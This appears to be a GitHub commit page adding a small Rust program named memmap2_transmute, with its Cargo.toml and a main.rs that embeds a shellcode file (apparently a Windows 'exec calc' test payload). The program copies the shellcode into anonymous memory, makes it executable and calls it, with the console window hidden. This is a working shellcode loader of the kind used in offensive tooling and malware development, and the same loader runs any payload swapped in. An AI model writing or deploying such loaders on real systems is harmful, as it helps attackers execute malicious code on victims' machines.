Skip to content

Commit 9d82c7a

Browse files
committed
add memmap2_transmute
1 parent f7762da commit 9d82c7a

File tree

2 files changed

+31
-0
lines changed

2 files changed

+31
-0
lines changed

memmap2_transmute/Cargo.toml

Lines changed: 9 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,9 @@
1+
[package]
2+
name = "memmap2_transmute"
3+
version = "0.1.0"
4+
edition = "2021"
5+
6+
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
7+
8+
[dependencies]
9+
memmap2 = "0.5.10"

memmap2_transmute/src/main.rs

Lines changed: 22 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,22 @@
1+
#![windows_subsystem = "windows"]
2+
3+
use memmap2::MmapOptions;
4+
use std::mem::transmute;
5+
6+
static SHELLCODE: [u8; 98] = *include_bytes!("../../w64-exec-calc-shellcode-func.bin");
7+
static SIZE: usize = SHELLCODE.len();
8+
9+
#[cfg(target_os = "windows")]
10+
fn main() {
11+
let mut mmap = MmapOptions::new()
12+
.len(SIZE)
13+
.map_anon()
14+
.expect("mmap failed!");
15+
mmap.copy_from_slice(SHELLCODE.as_slice());
16+
let mmap = mmap.make_exec().expect("make_exec failed!");
17+
18+
unsafe {
19+
let shell: unsafe extern "C" fn() = transmute(mmap.as_ptr());
20+
shell();
21+
}
22+
}

0 commit comments

Comments
 (0)